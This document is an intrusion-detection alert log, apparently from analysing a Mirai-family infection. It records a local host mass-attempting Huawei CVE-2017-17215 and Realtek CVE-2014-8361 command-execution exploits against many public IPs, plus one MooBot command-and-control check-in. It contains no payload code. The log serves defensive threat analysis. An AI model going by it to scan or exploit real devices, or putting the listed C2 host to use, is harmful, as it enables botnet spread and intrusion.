07/20/24-23:10:46.724339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44738	37215	192.168.2.15	220.28.169.153
07/20/24-23:11:03.368250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45064	37215	192.168.2.15	41.251.91.98
07/20/24-23:10:42.255257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43890	37215	192.168.2.15	211.127.214.18
07/20/24-23:10:39.487319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43092	37215	192.168.2.15	221.44.210.72
07/20/24-23:10:51.909417	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49058	52869	192.168.2.15	208.41.148.99
07/20/24-23:10:42.619249	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40272	52869	192.168.2.15	112.183.31.205
07/20/24-23:10:51.940106	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45296	52869	192.168.2.15	31.77.81.9
07/20/24-23:10:42.642008	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50644	52869	192.168.2.15	151.94.173.235
07/20/24-23:10:51.917055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53722	52869	192.168.2.15	141.208.201.80
07/20/24-23:10:52.010300	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34338	52869	192.168.2.15	198.105.114.189
07/20/24-23:10:52.581805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34314	37215	192.168.2.15	46.240.3.150
07/20/24-23:10:39.166048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51080	52869	192.168.2.15	85.126.23.91
07/20/24-23:10:46.829468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51654	37215	192.168.2.15	213.160.161.142
07/20/24-23:11:03.306275	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43660	37215	192.168.2.15	41.12.224.149
07/20/24-23:10:39.691478	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59786	52869	192.168.2.15	73.203.24.52
07/20/24-23:10:44.177599	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52272	52869	192.168.2.15	77.241.200.75
07/20/24-23:10:51.961780	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51308	52869	192.168.2.15	51.195.43.231
07/20/24-23:10:40.604940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45996	37215	192.168.2.15	41.95.14.253
07/20/24-23:10:39.485535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55442	37215	192.168.2.15	178.230.194.125
07/20/24-23:10:52.581805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41518	37215	192.168.2.15	157.159.99.175
07/20/24-23:10:44.257621	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50480	52869	192.168.2.15	141.113.230.124
07/20/24-23:10:47.779765	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36036	52869	192.168.2.15	79.14.113.77
07/20/24-23:10:42.633392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53064	52869	192.168.2.15	113.59.43.68
07/20/24-23:11:03.402557	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42978	37215	192.168.2.15	157.189.197.226
07/20/24-23:10:40.367173	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55586	52869	192.168.2.15	126.171.98.117
07/20/24-23:10:59.012071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44582	37215	192.168.2.15	197.159.196.28
07/20/24-23:10:43.202899	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39300	52869	192.168.2.15	14.45.204.86
07/20/24-23:10:42.882095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48602	52869	192.168.2.15	87.147.33.140
07/20/24-23:10:59.029071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34858	37215	192.168.2.15	41.47.138.9
07/20/24-23:10:49.360961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36816	37215	192.168.2.15	157.200.205.87
07/20/24-23:10:56.002002	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48826	37215	192.168.2.15	195.26.232.238
07/20/24-23:10:39.122108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38068	52869	192.168.2.15	17.96.206.10
07/20/24-23:10:46.781965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48976	37215	192.168.2.15	197.149.238.170
07/20/24-23:10:40.652868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50750	37215	192.168.2.15	157.155.184.46
07/20/24-23:10:51.928255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49332	52869	192.168.2.15	109.87.123.124
07/20/24-23:10:47.803323	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45810	52869	192.168.2.15	201.121.155.5
07/20/24-23:10:44.697717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53862	52869	192.168.2.15	119.6.246.136
07/20/24-23:10:46.642556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43354	52869	192.168.2.15	71.203.107.81
07/20/24-23:10:42.637523	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34248	52869	192.168.2.15	167.160.225.22
07/20/24-23:10:47.563542	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34788	52869	192.168.2.15	197.242.200.156
07/20/24-23:10:56.035713	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51440	37215	192.168.2.15	41.183.130.205
07/20/24-23:10:47.943388	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44534	52869	192.168.2.15	60.111.115.239
07/20/24-23:10:43.440018	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52792	52869	192.168.2.15	112.72.53.27
07/20/24-23:10:41.224086	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55154	37215	192.168.2.15	89.8.95.202
07/20/24-23:10:39.434124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45984	37215	192.168.2.15	197.197.182.48
07/20/24-23:10:46.810541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52714	37215	192.168.2.15	197.223.194.254
07/20/24-23:10:41.227612	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55912	37215	192.168.2.15	197.188.107.151
07/20/24-23:10:51.951774	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48820	52869	192.168.2.15	92.18.13.170
07/20/24-23:10:44.684061	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60756	52869	192.168.2.15	132.70.73.95
07/20/24-23:10:56.030930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58628	37215	192.168.2.15	180.67.45.152
07/20/24-23:10:46.010232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33342	52869	192.168.2.15	83.29.88.76
07/20/24-23:10:59.057855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57998	37215	192.168.2.15	197.194.4.69
07/20/24-23:10:44.044261	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36654	52869	192.168.2.15	115.217.213.84
07/20/24-23:10:42.262762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43614	37215	192.168.2.15	197.10.120.55
07/20/24-23:10:45.861270	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51048	52869	192.168.2.15	13.188.140.147
07/20/24-23:10:51.917055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54818	52869	192.168.2.15	195.68.182.111
07/20/24-23:11:03.406798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52722	37215	192.168.2.15	41.237.236.60
07/20/24-23:10:51.995612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33832	52869	192.168.2.15	105.189.130.216
07/20/24-23:10:52.062286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38418	52869	192.168.2.15	119.225.230.240
07/20/24-23:10:57.633067	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	58832	2466	192.168.2.15	15.235.203.214
07/20/24-23:10:52.540929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49796	37215	192.168.2.15	143.44.179.209
07/20/24-23:10:42.253017	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54942	37215	192.168.2.15	197.161.49.75
07/20/24-23:10:46.768902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55592	37215	192.168.2.15	197.125.193.159
07/20/24-23:10:52.070107	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33740	52869	192.168.2.15	27.73.191.157
07/20/24-23:11:06.678578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45730	37215	192.168.2.15	157.107.9.121
07/20/24-23:11:06.675236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41818	37215	192.168.2.15	156.190.160.63
07/20/24-23:10:40.575225	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32888	37215	192.168.2.15	193.168.188.87
07/20/24-23:10:40.604940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39404	37215	192.168.2.15	128.242.117.249
07/20/24-23:10:42.266162	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57160	37215	192.168.2.15	157.16.220.141
07/20/24-23:10:42.641904	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56304	52869	192.168.2.15	185.59.206.11
07/20/24-23:10:59.027427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33704	37215	192.168.2.15	41.115.120.71
07/20/24-23:10:44.562694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38062	52869	192.168.2.15	61.1.165.207
07/20/24-23:10:59.001293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43232	37215	192.168.2.15	157.219.82.157
07/20/24-23:10:49.428717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41300	37215	192.168.2.15	146.224.112.150
07/20/24-23:10:51.971548	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45298	52869	192.168.2.15	71.203.107.81
07/20/24-23:10:41.227867	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56432	37215	192.168.2.15	157.203.245.203
07/20/24-23:10:41.241817	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44914	37215	192.168.2.15	157.92.145.86
07/20/24-23:10:40.940896	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36924	37215	192.168.2.15	41.17.147.201
07/20/24-23:10:44.808575	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33248	52869	192.168.2.15	171.218.135.148
07/20/24-23:10:41.237255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45544	37215	192.168.2.15	157.167.109.170
07/20/24-23:10:39.205185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39438	52869	192.168.2.15	108.128.208.18
07/20/24-23:10:51.933445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59214	52869	192.168.2.15	222.216.119.91
07/20/24-23:10:51.969301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37796	52869	192.168.2.15	92.54.7.102
07/20/24-23:10:39.479939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48814	37215	192.168.2.15	157.176.38.133
07/20/24-23:10:42.624844	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34920	52869	192.168.2.15	178.153.143.199
07/20/24-23:10:49.450306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58846	37215	192.168.2.15	41.76.21.41
07/20/24-23:10:40.608330	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54002	37215	192.168.2.15	69.184.161.116
07/20/24-23:10:49.402846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44152	37215	192.168.2.15	197.110.24.110
07/20/24-23:10:52.571075	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58172	37215	192.168.2.15	197.217.178.217
07/20/24-23:10:56.030930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37908	37215	192.168.2.15	157.211.242.101
07/20/24-23:10:59.057855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39056	37215	192.168.2.15	41.61.39.75
07/20/24-23:10:39.478846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39728	37215	192.168.2.15	197.202.153.125
07/20/24-23:10:40.664038	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42026	37215	192.168.2.15	197.241.179.83
07/20/24-23:10:41.230071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37194	37215	192.168.2.15	41.129.238.186
07/20/24-23:10:47.728144	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43120	52869	192.168.2.15	93.91.138.170
07/20/24-23:11:06.678578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43756	37215	192.168.2.15	41.138.13.10
07/20/24-23:10:42.269853	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60756	37215	192.168.2.15	157.147.176.235
07/20/24-23:10:51.970945	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34350	52869	192.168.2.15	222.79.179.243
07/20/24-23:10:42.630025	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35830	52869	192.168.2.15	32.169.224.65
07/20/24-23:10:56.006442	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51666	37215	192.168.2.15	141.95.223.128
07/20/24-23:10:39.387844	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52008	52869	192.168.2.15	23.244.107.142
07/20/24-23:10:42.633392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33872	52869	192.168.2.15	4.232.226.241
07/20/24-23:10:40.650979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52952	37215	192.168.2.15	116.138.138.226
07/20/24-23:10:52.004017	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59888	52869	192.168.2.15	83.178.139.14
07/20/24-23:10:49.360961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40958	37215	192.168.2.15	18.215.139.152
07/20/24-23:10:49.395188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58758	37215	192.168.2.15	74.70.192.12
07/20/24-23:10:40.649804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37552	37215	192.168.2.15	41.74.238.245
07/20/24-23:10:52.047583	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54842	52869	192.168.2.15	195.72.16.230
07/20/24-23:10:49.395188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52040	37215	192.168.2.15	197.0.255.123
07/20/24-23:10:51.950747	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44978	52869	192.168.2.15	184.114.49.59
07/20/24-23:10:59.021280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43598	37215	192.168.2.15	197.42.35.146
07/20/24-23:10:46.724339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49414	37215	192.168.2.15	157.118.190.74
07/20/24-23:10:39.760924	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49320	52869	192.168.2.15	14.134.150.109
07/20/24-23:10:39.912761	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43734	52869	192.168.2.15	203.39.100.182
07/20/24-23:10:42.619542	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53718	52869	192.168.2.15	157.142.69.44
07/20/24-23:10:43.924257	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34458	52869	192.168.2.15	46.169.99.175
07/20/24-23:10:49.355429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34394	37215	192.168.2.15	197.175.59.149
07/20/24-23:10:52.547374	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44306	37215	192.168.2.15	41.198.181.95
07/20/24-23:10:41.241455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37350	37215	192.168.2.15	41.16.241.53
07/20/24-23:10:44.462232	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40994	52869	192.168.2.15	197.33.21.86
07/20/24-23:11:03.396755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40716	37215	192.168.2.15	197.226.144.165
07/20/24-23:10:42.651614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37386	52869	192.168.2.15	152.242.221.75
07/20/24-23:10:55.995070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46994	37215	192.168.2.15	197.196.30.239
07/20/24-23:10:42.269853	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32910	37215	192.168.2.15	157.249.63.236
07/20/24-23:10:43.412001	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50482	52869	192.168.2.15	45.153.62.62
07/20/24-23:10:41.220904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41220	37215	192.168.2.15	157.62.253.162
07/20/24-23:10:46.810541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40006	37215	192.168.2.15	41.237.105.96
07/20/24-23:10:51.999918	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47826	52869	192.168.2.15	211.213.18.108
07/20/24-23:10:47.846012	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40634	52869	192.168.2.15	95.10.158.177
07/20/24-23:11:06.686627	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37834	37215	192.168.2.15	157.16.25.243
07/20/24-23:10:55.979374	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40564	37215	192.168.2.15	157.119.167.79
07/20/24-23:10:41.224086	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58384	37215	192.168.2.15	157.37.199.77
07/20/24-23:10:44.565535	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45664	52869	192.168.2.15	54.158.102.139
07/20/24-23:10:44.752904	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42588	52869	192.168.2.15	135.228.190.116
07/20/24-23:10:49.360961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34094	37215	192.168.2.15	41.32.211.33
07/20/24-23:10:41.231287	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44378	37215	192.168.2.15	197.223.201.190
07/20/24-23:10:49.370142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59372	37215	192.168.2.15	113.242.211.202
07/20/24-23:10:47.812151	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45356	52869	192.168.2.15	223.235.223.229
07/20/24-23:10:39.474284	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43916	37215	192.168.2.15	157.204.120.208
07/20/24-23:10:46.768902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52260	37215	192.168.2.15	41.220.204.154
07/20/24-23:10:51.940105	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40614	52869	192.168.2.15	173.221.148.228
07/20/24-23:10:49.377082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38198	37215	192.168.2.15	41.201.199.127
07/20/24-23:10:39.185538	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46572	52869	192.168.2.15	77.64.253.97
07/20/24-23:10:56.006442	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49912	37215	192.168.2.15	197.229.172.214
07/20/24-23:10:52.450341	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48800	52869	192.168.2.15	170.247.115.65
07/20/24-23:11:03.361259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47424	37215	192.168.2.15	82.123.250.216
07/20/24-23:10:49.404246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45608	37215	192.168.2.15	197.112.79.16
07/20/24-23:10:46.756315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57128	37215	192.168.2.15	135.183.179.19
07/20/24-23:10:52.592459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37772	37215	192.168.2.15	41.128.15.43
07/20/24-23:10:45.364728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54748	52869	192.168.2.15	19.7.44.118
07/20/24-23:10:44.392579	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39070	52869	192.168.2.15	60.216.97.213
07/20/24-23:10:46.865461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33564	37215	192.168.2.15	41.139.160.21
07/20/24-23:11:03.394674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48048	37215	192.168.2.15	99.157.121.60
07/20/24-23:10:55.977404	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53148	37215	192.168.2.15	157.108.206.192
07/20/24-23:10:56.073192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52332	37215	192.168.2.15	221.197.45.79
07/20/24-23:10:46.756934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43262	37215	192.168.2.15	203.44.198.123
07/20/24-23:10:42.266163	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51356	37215	192.168.2.15	197.194.124.27
07/20/24-23:10:39.462416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45002	37215	192.168.2.15	197.105.219.240
07/20/24-23:10:41.241817	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60980	37215	192.168.2.15	8.33.228.87
07/20/24-23:10:49.288690	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36534	37215	192.168.2.15	62.157.229.217
07/20/24-23:10:51.992277	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41282	52869	192.168.2.15	61.200.31.129
07/20/24-23:10:52.572631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50180	37215	192.168.2.15	163.176.80.203
07/20/24-23:10:56.016286	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34812	37215	192.168.2.15	197.143.130.166
07/20/24-23:10:42.255257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57716	37215	192.168.2.15	41.67.87.28
07/20/24-23:10:51.969868	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52510	52869	192.168.2.15	90.138.160.122
07/20/24-23:10:42.277609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49820	37215	192.168.2.15	41.27.6.3
07/20/24-23:10:49.398416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35744	37215	192.168.2.15	38.26.176.35
07/20/24-23:11:03.396635	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37562	37215	192.168.2.15	169.105.93.8
07/20/24-23:10:49.395188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42608	37215	192.168.2.15	157.134.108.111
07/20/24-23:10:46.817181	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54106	37215	192.168.2.15	41.0.193.209
07/20/24-23:10:46.829468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52954	37215	192.168.2.15	41.74.114.232
07/20/24-23:11:06.663147	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46230	37215	192.168.2.15	41.41.7.220
07/20/24-23:10:42.619388	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44880	52869	192.168.2.15	19.2.120.96
